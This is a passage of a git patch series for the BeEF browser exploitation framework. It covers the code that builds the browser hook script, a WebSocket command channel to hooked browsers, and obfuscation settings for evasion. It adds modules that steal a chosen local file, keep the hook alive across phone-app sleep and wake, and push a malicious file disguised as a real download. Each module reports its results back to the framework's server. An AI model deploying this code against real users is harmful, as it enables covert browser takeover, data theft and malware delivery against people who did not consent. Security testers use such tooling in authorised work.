find_beefjs_component_path(component) + component_path = component + component_path.gsub!(/beef./, '') + component_path.gsub!(/\./, '/') + component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" + + return false if not File.exists? component_path + + component_path + end + + # Builds missing beefjs components. + # @param [Array] beefjs_components An array of component names + def build_missing_beefjs_components(beefjs_components) + # @note verifies that @beef_js_cmps is not nil to avoid bugs + @beef_js_cmps = '' if @beef_js_cmps.nil? + + if beefjs_components.is_a? String + beefjs_components_path = find_beefjs_component_path(beefjs_components) + raise "Invalid component: could not build the beefjs file" if not beefjs_components_path + beefjs_components = {beefjs_components => beefjs_components_path} + end + + beefjs_components.keys.each { |k| + next if @beef_js_cmps.include? beefjs_components[k] + + # @note path to the component + component_path = beefjs_components[k] + + # @note we output the component to the hooked browser + @body << File.read(component_path)+"\n\n" + + # @note finally we add the component to the list of components already generated so it does not get generated numerous times. + if @beef_js_cmps.eql? '' + @beef_js_cmps = component_path + else + @beef_js_cmps += ",#{component_path}" + end + } + end + end + end - - if config.get("beef.http.websocket.enable") - hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") - hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") - hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer") - end - - # @note populate place holders in the beefjs string and set the response body - eruby = Erubis::FastEruby.new(beefjs) - @hook = eruby.evaluate(hook_session_config) - - if config.get("beef.extension.evasion.enable") - evasion = BeEF::Extension::Evasion::Evasion.instance - @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) - end - - @body << @hook - end - - # Finds the path to js components - # @param [String] component Name of component - # @return [String|Boolean] Returns false if path was not found, otherwise returns component path - def find_beefjs_component_path(component) - component_path = component - component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') - component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" - - return false if not File.exists? component_path - - component_path - end - - # Builds missing beefjs components. - # @param [Array] beefjs_components An array of component names - def build_missing_beefjs_components(beefjs_components) - # @note verifies that @beef_js_cmps is not nil to avoid bugs - @beef_js_cmps = '' if @beef_js_cmps.nil? - - if beefjs_components.is_a? String - beefjs_components_path = find_beefjs_component_path(beefjs_components) - raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} - end - - beefjs_components.keys.each {|k| - next if @beef_js_cmps.include? beefjs_components[k] - - # @note path to the component - component_path = beefjs_components[k] - - # @note we output the component to the hooked browser - @body << File.read(component_path)+"\n\n" - - # @note finally we add the component to the list of components already generated so it does not get generated numerous times. - if @beef_js_cmps.eql? '' - @beef_js_cmps = component_path - else - @beef_js_cmps += ",#{component_path}" - end - } - end - end - -end -end -end end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a24506827..b5c6ec0e4 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -27,15 +27,88 @@ module BeEF @@activeSocket= Hash.new @@lastalive= Hash.new @@config = BeEF::Core::Configuration.instance + #@@wsopt=nil MOUNTS = BeEF::Core::Server.instance.mounts def initialize - port = @@config.get("beef.http.websocket.port") - secure = @@config.get("beef.http.websocket.secure") + + + secure = @@config.get("beef.http.websocket.secure") #&& @@config.get("beef.http.https.enable") + @root_dir = File.expand_path('../../../../../', __FILE__) + + if (secure) + #Thread for websocket-secure + Thread.new { + port = @@config.get("beef.http.websocket.secure_port") + sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets + EventMachine.run { + + wsopt = {:host => "0.0.0.0", :port => port, :secure => true, + :tls_options => { + :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"), + :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert") + } + } + + + EventMachine::WebSocket.start(wsopt) do |ws| + begin + print_debug "New WebSocket-secured channel open." + ws.onmessage { |msg| + msg_hash = JSON.parse("#{msg}") + #@note messageHash[result] is Base64 encoded + if (msg_hash["cookie"]!= nil) + print_debug("WebSocket-secured - Browser says helo! WebSocket is running") + #insert new connection in activesocket + @@activeSocket["#{msg_hash["cookie"]}"] = ws + print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]") + elsif msg_hash["alive"] != nil + hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) + unless hooked_browser.nil? + hooked_browser.lastseen = Time.new.to_i + hooked_browser.count! + hooked_browser.save + + #Check if new modules need to be sent + zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) + zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + + #@todo antisnatchor: + #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + #Check if new forged requests need to be sent (Requester/TunnelingProxy) + dhook = BeEF::Extension::Requester::API::Hook.new + dhook.requester_run(hooked_browser, '') + + #Check if new XssRays scan need to be started + xssrays = BeEF::Extension::Xssrays::API::Scan.new + xssrays.start_scan(hooked_browser, '') + end + else + #json recv is a cmd response decode and send all to + #we have to call dynamicreconstructor handler camp must be websocket + #print_debug("Received from WebSocket #{messageHash}") + execute(msg_hash) + end + } + rescue Exception => e + print_error "WebSocket-secured error: #{e}" + end + end + } + + } + end + + #Thread for websocket Thread.new { + port = @@config.get("beef.http.websocket.port") sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets - EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start) - EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws| + EventMachine.run { + + wsopt = {:host => "0.0.0.0", :port => port} + + + EventMachine::WebSocket.start(wsopt) do |ws| begin print_debug "New WebSocket channel open." ws.onmessage { |msg| @@ -81,6 +154,7 @@ module BeEF } } + end #@note retrieve the right websocket channel given an hooked browser session @@ -115,7 +189,7 @@ module BeEF handler = data["handler"] if handler.match(/command/) BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"], - @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results) + @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results) else #processing results from extensions, call the right handler data["beefhook"] = hooked_browser data["results"] = JSON.parse(Base64.decode64(data["result"])) From 93bb25aa0bc124e04c95547f4a1a767085b62cb7 Mon Sep 17 00:00:00 2001 From: radoen Date: Fri, 10 Aug 2012 13:47:42 +0200 Subject: [PATCH 23/36] Set to false websocket and https --- config.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/config.yaml b/config.yaml index 8cb8c95e2..89b5bade7 100644 --- a/config.yaml +++ b/config.yaml @@ -41,8 +41,8 @@ beef: # Prefer WebSockets over XHR-polling when possible. websocket: - enable: true - secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF + enable: false + secure: false # use WebSocketSecure work only on https domain and whit https support enabled in BeEF port: 61985 # good success rate through proxies secure_port: 61986 #to accept wss connection alive_timer: 1000 # poll BeEF every second @@ -54,7 +54,7 @@ beef: # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: - enable: true + enable: false # In production environments, be sure to use a valid certificate signed for the value # used in beef.http.dns (the domain name of the server where you run BeEF) key: "beef_key.pem" From 8c43fffb3602bc7bbfb203467f54bb5467ae1ede Mon Sep 17 00:00:00 2001 From: sussurro Date: Sun, 12 Aug 2012 19:27:19 -0700 Subject: [PATCH 24/36] Fixed Twitter client to not cause errors on failed tweets allowing logins etc to continue --- extensions/notifications/channels/tweet.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/extensions/notifications/channels/tweet.rb b/extensions/notifications/channels/tweet.rb index 37ae928d6..9f0ce6747 100644 --- a/extensions/notifications/channels/tweet.rb +++ b/extensions/notifications/channels/tweet.rb @@ -38,7 +38,11 @@ module Channels config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret') end - Twitter.direct_message_create(username, message) + begin + Twitter.direct_message_create(username, message) + rescue + print "Twitter send failed, verify tokens have Read/Write/DM acceess..\n" + end end end From 6897962803bdbd52873eb701521ddc56bde36261 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Wed, 15 Aug 2012 13:39:16 +1000 Subject: [PATCH 25/36] Version updated --- VERSION | 2 +- config.yaml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/VERSION b/VERSION index f9105b3dc..ea837d9ad 100644 --- a/VERSION +++ b/VERSION @@ -14,4 +14,4 @@ # limitations under the License. # -0.4.3.6-alpha +0.4.3.7-alpha diff --git a/config.yaml b/config.yaml index 89b5bade7..c746ca493 100644 --- a/config.yaml +++ b/config.yaml @@ -16,7 +16,7 @@ # BeEF Configuration file beef: - version: '0.4.3.6-alpha' + version: '0.4.3.7-alpha' debug: true restrictions: From f2d4a88810a7ca7cf6a0c7c21358f052c28a8af7 Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Wed, 22 Aug 2012 20:48:55 +1200 Subject: [PATCH 26/36] added abilty to detect new phonegap renamed 'cordova' --- modules/phonegap/phonegap_detect/command.js | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/phonegap/phonegap_detect/command.js b/modules/phonegap/phonegap_detect/command.js index 1c0ae566b..bc062c00c 100644 --- a/modules/phonegap/phonegap_detect/command.js +++ b/modules/phonegap/phonegap_detect/command.js @@ -23,6 +23,7 @@ beef.execute(function() { phonegap_details = "" + " name: " + device.name + " phonegap api: " + device.phonegap + + " cordova api: " + device.cordova + " platform: " + device.platform + " uuid: " + device.uuid + " version: " + device.version; From ad2bc95cf06df20b664d5acc8a41c597ea535ac1 Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Wed, 22 Aug 2012 20:50:03 +1200 Subject: [PATCH 27/36] updated local file theft to accept custom file path --- modules/misc/local_file_theft/command.js | 62 ++++++++++++++++++------ modules/misc/local_file_theft/module.rb | 10 ++++ 2 files changed, 57 insertions(+), 15 deletions(-) diff --git a/modules/misc/local_file_theft/command.js b/modules/misc/local_file_theft/command.js index 148f79d8f..614cdc659 100644 --- a/modules/misc/local_file_theft/command.js +++ b/modules/misc/local_file_theft/command.js @@ -86,6 +86,16 @@ result = ''; } } + fileList['custom']= { + // user defined + "discover" :'', + + "post" :{ + 'result':'<%== @target_file %>', + } + } + + functionList = { mac:{ // OS X disovery @@ -138,11 +148,25 @@ result = ''; grabFiles(homedir,"ios") } } - - alert("ipad") + return true; } }, + custom:{ + // Grab custom stuff + discover : function(){ + tmp = new XMLHttpRequest() + tmp.open('get',fileList['custom']['discover']) + tmp.send() + tmp.onreadystatechange=function(){ + if(tmp.readyState==4){ + homedir = "file:///"; + grabFiles(homedir,"custom") + } + } + return true; + } + }, android:{ // figure out what app (gmail, browser, or dolphin?) android discover : function(){ @@ -172,19 +196,27 @@ result = ''; function identify(){ - if(/.*Android.*/.test(navigator.userAgent)){ - return "android" - } else if(/Linux.*/i.test(navigator.platform)){ - return "linux" - } else if(/iP.*/i.test(navigator.platform)){ - return "ios" - } else if(/.*Mac.*/i.test(navigator.userAgent)){ - return "mac" - } else if(/.*Windows.*/i.test(navigator.userAgent)){ - return "windows" - } else if(/.*hpwOS.*/i.test(navigator.platform)){ - return "webos" - } + + // custom file is specified + if ('<%== @target_file %>' != 'autodetect') { + return "custom" + + // determine a good file to steal based on platform + } else { + if(/.*Android.*/.test(navigator.userAgent)){ + return "android" + } else if(/Linux.*/i.test(navigator.platform)){ + return "linux" + } else if(/iP.*/i.test(navigator.platform)){ + return "ios" + } else if(/.*Mac.*/i.test(navigator.userAgent)){ + return "mac" + } else if(/.*Windows.*/i.test(navigator.userAgent)){ + return "windows" + } else if(/.*hpwOS.*/i.test(navigator.platform)){ + return "webos" + } + } } diff --git a/modules/misc/local_file_theft/module.rb b/modules/misc/local_file_theft/module.rb index d75a3d236..20dd2a5a9 100644 --- a/modules/misc/local_file_theft/module.rb +++ b/modules/misc/local_file_theft/module.rb @@ -19,6 +19,16 @@ class Local_file_theft < BeEF::Core::Command + def self.options + return [ + {'name' => 'target_file', + 'description' => 'The full path to the local file to steal e.g. file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb', + 'ui_label' => 'Target file', + 'value' => 'autodetect' + } + ] + end + def post_execute content = {} content['result'] = @datastore['result'] From 5a9a050c1cada7481ad29f58909be56533328cf9 Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Wed, 22 Aug 2012 20:51:49 +1200 Subject: [PATCH 28/36] added new phonegap modules, to check connection type (wifi/3g) and ensure beef hook survives suspend resume of app. --- .../phonegap_check_connection/command.js | 37 +++++++++++++++++++ .../phonegap_check_connection/config.yaml | 27 ++++++++++++++ .../phonegap_check_connection/module.rb | 27 ++++++++++++++ .../phonegap_persist_resume/command.js | 31 ++++++++++++++++ .../phonegap_persist_resume/config.yaml | 27 ++++++++++++++ .../phonegap_persist_resume/module.rb | 26 +++++++++++++ 6 files changed, 175 insertions(+) create mode 100644 modules/phonegap/phonegap_check_connection/command.js create mode 100644 modules/phonegap/phonegap_check_connection/config.yaml create mode 100644 modules/phonegap/phonegap_check_connection/module.rb create mode 100644 modules/phonegap/phonegap_persist_resume/command.js create mode 100644 modules/phonegap/phonegap_persist_resume/config.yaml create mode 100644 modules/phonegap/phonegap_persist_resume/module.rb diff --git a/modules/phonegap/phonegap_check_connection/command.js b/modules/phonegap/phonegap_check_connection/command.js new file mode 100644 index 000000000..470ab3638 --- /dev/null +++ b/modules/phonegap/phonegap_check_connection/command.js @@ -0,0 +1,37 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +beef.execute(function() { + var connection_type; + + getConnectionType = function() { + var states = {}; + states[Connection.UNKNOWN] = 'Unknown connection'; + states[Connection.ETHERNET] = 'Ethernet connection'; + states[Connection.WIFI] = 'WiFi connection'; + states[Connection.CELL_2G] = 'Cell 2G connection'; + states[Connection.CELL_3G] = 'Cell 3G connection'; + states[Connection.CELL_4G] = 'Cell 4G connection'; + states[Connection.NONE] = 'No network connection'; + return states[navigator.network.connection.type]; + } + + try { + connection_type = getConnectionType(); + } catch(e) { + connection_type = "Unable to determine connection type." + } + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "connection_type="+connection_type); +}); diff --git a/modules/phonegap/phonegap_check_connection/config.yaml b/modules/phonegap/phonegap_check_connection/config.yaml new file mode 100644 index 000000000..37ebf924b --- /dev/null +++ b/modules/phonegap/phonegap_check_connection/config.yaml @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# phonegap +# +beef: + module: + phonegap_check_connection: + enable: true + category: "Phonegap" + name: "Check connection" + description: "Find out connection type e.g. Wifi, 3G.." + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/phonegap_check_connection/module.rb b/modules/phonegap/phonegap_check_connection/module.rb new file mode 100644 index 000000000..708c0d384 --- /dev/null +++ b/modules/phonegap/phonegap_check_connection/module.rb @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# phonegap +# + +class Phonegap_check_connection < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end diff --git a/modules/phonegap/phonegap_persist_resume/command.js b/modules/phonegap/phonegap_persist_resume/command.js new file mode 100644 index 000000000..39bb9ed7e --- /dev/null +++ b/modules/phonegap/phonegap_persist_resume/command.js @@ -0,0 +1,31 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +// +// persist on over app's sleep/wake events +beef.execute(function() { + var result; + + try { + document.addEventListener("resume", beef_init(), false); + result = 'success'; + + } catch (e) { + for(var n in e) { + result+= n + " " + e[n] + "\n"; + } + } + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); +}); diff --git a/modules/phonegap/phonegap_persist_resume/config.yaml b/modules/phonegap/phonegap_persist_resume/config.yaml new file mode 100644 index 000000000..0d08526ab --- /dev/null +++ b/modules/phonegap/phonegap_persist_resume/config.yaml @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# persist on over app's sleep/wake events +beef: + module: + phonegap_persist_resume: + enable: true + category: "Phonegap" + name: "Persist resume" + description: "Persist over applications sleep/wake events" + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/phonegap_persist_resume/module.rb b/modules/phonegap/phonegap_persist_resume/module.rb new file mode 100644 index 000000000..bef0ca663 --- /dev/null +++ b/modules/phonegap/phonegap_persist_resume/module.rb @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# persist on over app's sleep/wake events +class Phonegap_persist_resume < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end From f852ca26cb894e349688f310cadd84c5c71878a8 Mon Sep 17 00:00:00 2001 From: bmantra Date: Fri, 24 Aug 2012 20:24:37 +0200 Subject: [PATCH 29/36] lcamtuf download module --- modules/browser/lcamtuf_download/command.js | 38 +++++++++++++++ modules/browser/lcamtuf_download/config.yaml | 26 +++++++++++ modules/browser/lcamtuf_download/module.rb | 49 ++++++++++++++++++++ 3 files changed, 113 insertions(+) create mode 100644 modules/browser/lcamtuf_download/command.js create mode 100644 modules/browser/lcamtuf_download/config.yaml create mode 100644 modules/browser/lcamtuf_download/module.rb diff --git a/modules/browser/lcamtuf_download/command.js b/modules/browser/lcamtuf_download/command.js new file mode 100644 index 000000000..a827c99fa --- /dev/null +++ b/modules/browser/lcamtuf_download/command.js @@ -0,0 +1,38 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var maliciousurl = '<%= @malicious_file_uri %>'; + var realurl = '<%= @real_file_uri %>'; + var w; + var once = '<%= @do_once %>'; + + function doit() { + + if (navigator.userAgent.indexOf('MSIE') == -1){ + w = window.open('data:text/html,', 'foo'); + + setTimeout(donext, 4500); + + } + } + function donext() { + window.open(maliciousurl, 'foo'); + if (once != true) setTimeout(donext, 5000); + once = true; + } + doit(); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command executed"); +}); diff --git a/modules/browser/lcamtuf_download/config.yaml b/modules/browser/lcamtuf_download/config.yaml new file mode 100644 index 000000000..65f57b789 --- /dev/null +++ b/modules/browser/lcamtuf_download/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + lcamtuf_download: + enable: true + category: "Browser" + name: "Lcamtuf Download" + description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative Content-Disposition: attachment header. For more information please refer to http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html ." + authors: ["Bart Leppens"] + target: + working: ["ALL"] + not_working: ["IE"] diff --git a/modules/browser/lcamtuf_download/module.rb b/modules/browser/lcamtuf_download/module.rb new file mode 100644 index 000000000..1d2b707dd --- /dev/null +++ b/modules/browser/lcamtuf_download/module.rb @@ -0,0 +1,49 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Lcamtuf_download < BeEF::Core::Command + + # set and return all options for this module + def self.options + + + return [{ + 'name' => 'real_file_uri', + 'description' => 'The web accessible URI for the real file.', + 'ui_label' => 'Real File Path', + 'value' => 'http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869', + 'width' => '300px' + }, + { + 'name' => 'malicious_file_uri', + 'description' => 'The web accessible URI for the malicious file.', + 'ui_label' => 'Malicious File Path', + 'value' => '', + 'width' => '300px' + }, + { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Once', 'store_type' => 'arraystore', + 'store_fields' => ['do_once'], 'store_data' => [['false'],['true']], + 'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true + }] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] + + save content + end + +end From aeb17e7d7a2bbed536ff02b7d735c73e14a889b1 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 24 Aug 2012 19:46:02 +0100 Subject: [PATCH 30/36] Changed target support to notify_all for lcamtuf download module (pop-up blockers) --- modules/browser/lcamtuf_download/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/browser/lcamtuf_download/config.yaml b/modules/browser/lcamtuf_download/config.yaml index 65f57b789..0671d8844 100644 --- a/modules/browser/lcamtuf_download/config.yaml +++ b/modules/browser/lcamtuf_download/config.yaml @@ -22,5 +22,5 @@ beef: description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative Content-Disposition: attachment header. For more information please refer to http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html ." authors: ["Bart Leppens"] target: - working: ["ALL"] + user_notify: ["ALL"] not_working: ["IE"] From 7ed9516b53cd582771b78a0098adec07c66cd331 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 25 Aug 2012 09:55:53 +0100 Subject: [PATCH 31/36] Obfuscation: removed base64 from the default chain list, added excluded_core_js option --- extensions/evasion/config.yaml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml index c75031da8..712989a31 100644 --- a/extensions/evasion/config.yaml +++ b/extensions/evasion/config.yaml @@ -19,10 +19,11 @@ beef: enable: true name: 'Evasion' authors: ["antisnatchor"] + exclude_core_js: ["lib/jquery-1.5.2.min.js", "lib/json2.js", "lib/jools.min.js"] scramble_variables: true scramble_cookies: true scramble: beef: "beef" Beef: "Beef" evercookie: "evercookie" - chain: ["scramble", "minify", "base_64"] + chain: ["scramble", "minify"] From 5400696c40a9c2e78bf4fd084e2f81610ea0e43c Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 25 Aug 2012 09:58:25 +0100 Subject: [PATCH 32/36] Refactored and modified beefjs.rb: splitted external lib files from beef files, added the feature for #734 to exclude some core lib js files (like jquery) from obfuscation --- core/main/handlers/modules/beefjs.rb | 65 +++++++++++++++++++--------- 1 file changed, 45 insertions(+), 20 deletions(-) diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 5d7b164a0..a5ff93864 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -26,29 +26,51 @@ module BeEF def build_beefjs!(req_host) config = BeEF::Core::Configuration.instance # @note set up values required to construct beefjs - beefjs = '' + beef_js = '' # @note location of sub files - beefjs_path = "#{$root_dir}/core/main/client/" - # @note we load websocket library only if ws server is enabled in config.yalm - # check in init.js - if config.get("beef.http.websocket.enable") + beef_js_path = "#{$root_dir}/core/main/client/" - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) + # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated + ext_js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js) + + # @note Load websocket library only if WS server is enabled in config.yaml + if config.get("beef.http.websocket.enable") == false + # @note BeEF libraries: need Eruby evaluation and obfuscation + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) else - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) - - + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) end - # @note construct the beefjs string from file(s) - js_sub_files.each { |js_sub_file_name| - js_sub_file_abs_path = beefjs_path + js_sub_file_name - beefjs << (File.read(js_sub_file_abs_path) + "\n\n") + ext_js_to_obfuscate = '' + ext_js_to_not_obfuscate = '' + + # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate + # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate + ext_js_sub_files.each{ |ext_js_sub_file| + if config.get("beef.extension.evasion.enable") + if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file) + print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" + # do not obfuscate the file + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + else + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + end + else + # Evasion is not enabled, do not obfuscate anything + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + end + } + + # @note construct the beef_js string from file(s) + beef_js_sub_files.each { |beef_js_sub_file| + beef_js_sub_file_path = beef_js_path + beef_js_sub_file + beef_js << (File.read(beef_js_sub_file_path) + "\n\n") } # @note create the config for the hooked browser session - - hook_session_name = config.get('beef.http.hook_session_name') hook_session_config = BeEF::Core::Server.instance.to_h # @note if http_host="0.0.0.0" in config ini, use the host requested by client @@ -68,6 +90,7 @@ module BeEF end end + # @note Set some WebSocket properties if config.get("beef.http.websocket.enable") hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") @@ -75,16 +98,20 @@ module BeEF hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") end - # @note populate place holders in the beefjs string and set the response body - eruby = Erubis::FastEruby.new(beefjs) + # @note populate place holders in the beef_js string and set the response body + eruby = Erubis::FastEruby.new(beef_js) @hook = eruby.evaluate(hook_session_config) if config.get("beef.extension.evasion.enable") evasion = BeEF::Extension::Evasion::Evasion.instance @hook = evasion.add_bootstrapper + 